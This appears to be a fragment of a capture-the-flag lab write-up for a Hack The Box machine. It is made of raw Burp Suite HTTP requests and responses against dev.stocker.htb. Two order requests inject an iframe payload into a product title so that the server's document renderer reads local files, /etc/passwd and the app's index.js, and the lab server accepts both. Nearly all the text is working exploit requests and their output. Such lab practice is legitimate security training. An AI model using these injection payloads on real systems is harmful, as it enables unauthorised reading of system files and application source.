POST /api/order HTTP/1.1Host:dev.stocker.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept:*/*Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://dev.stocker.htb/stockContent-Type:application/jsonOrigin:http://dev.stocker.htbContent-Length:220Connection:closeCookie:connect.sid=s%3AglWx1W4l6AXfs4gYZq-X2EzGPvkRAknn.aTADasosaVSVpIrCRQR6U5P%2BRe8JeRJwk6aNyTMXe1Qtoken:ddac62a28254561001277727cb397baf{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///etc/passwd height=800 width=800></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
Burp: Result
HTTP/1.1 200 OKServer:nginx/1.18.0 (Ubuntu)Date:Mon, 16 Jan 2023 18:47:07 GMTContent-Type:application/json; charset=utf-8Content-Length:53Connection:closeX-Powered-By:ExpressETag:W/"35-uRAgVxWOPH+zozYbT1COcNIa11A"{"success":true,"orderId":"63c59bab9a4ca468a539a9f4"}
POST /api/order HTTP/1.1Host:dev.stocker.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept:*/*Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://dev.stocker.htb/stockContent-Type:application/jsonOrigin:http://dev.stocker.htbContent-Length:230Connection:closeCookie:connect.sid=s%3AglWx1W4l6AXfs4gYZq-X2EzGPvkRAknn.aTADasosaVSVpIrCRQR6U5P%2BRe8JeRJwk6aNyTMXe1Qtoken:ddac62a28254561001277727cb397baf{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///var/www/dev/index.js height=800 width=800></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
Burp: Response
HTTP/1.1 200 OKServer:nginx/1.18.0 (Ubuntu)Date:Mon, 16 Jan 2023 19:03:21 GMTContent-Type:application/json; charset=utf-8Content-Length:53Connection:closeX-Powered-By:ExpressETag:W/"35-NMz42TN4UGeyAe4eb9g9f6gSMfk"{"success":true,"orderId":"63c59f799a4ca468a539aa26"}